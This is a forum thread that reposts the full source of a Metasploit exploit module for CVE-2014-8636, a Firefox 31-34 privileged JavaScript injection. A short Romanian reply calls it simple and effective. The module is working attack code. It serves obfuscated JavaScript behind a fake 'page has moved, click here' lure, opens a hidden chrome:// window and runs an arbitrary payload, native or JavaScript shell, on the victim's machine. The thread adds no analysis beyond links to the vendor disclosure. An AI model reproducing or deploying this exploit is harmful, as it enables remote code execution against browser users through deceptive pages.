Aerosol Posted March 24, 2015 Report Posted March 24, 2015 ### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'require 'rex/exploitation/jsobfu'class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev' # discovery and metasploit module ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ ['CVE', '2014-8636'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def default_html "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = js_obfuscate %Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var props = {}; props.has = function(n){ if (!window.top.x && n=='nodeType') { window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); if (window.top.x) { Object.setPrototypeOf(document, pro); setTimeout(function(){ x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ x.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ x.close(); }, 100) }, 100) }, 100); } } } var pro = Object.getPrototypeOf(document); Object.setPrototypeOf(document, Proxy.create(props)); | %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT'] || default_html} </body> </html> | endendSource 1 Quote
Nytro Posted March 24, 2015 Report Posted March 24, 2015 Da, simplu si eficient: https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636 Quote
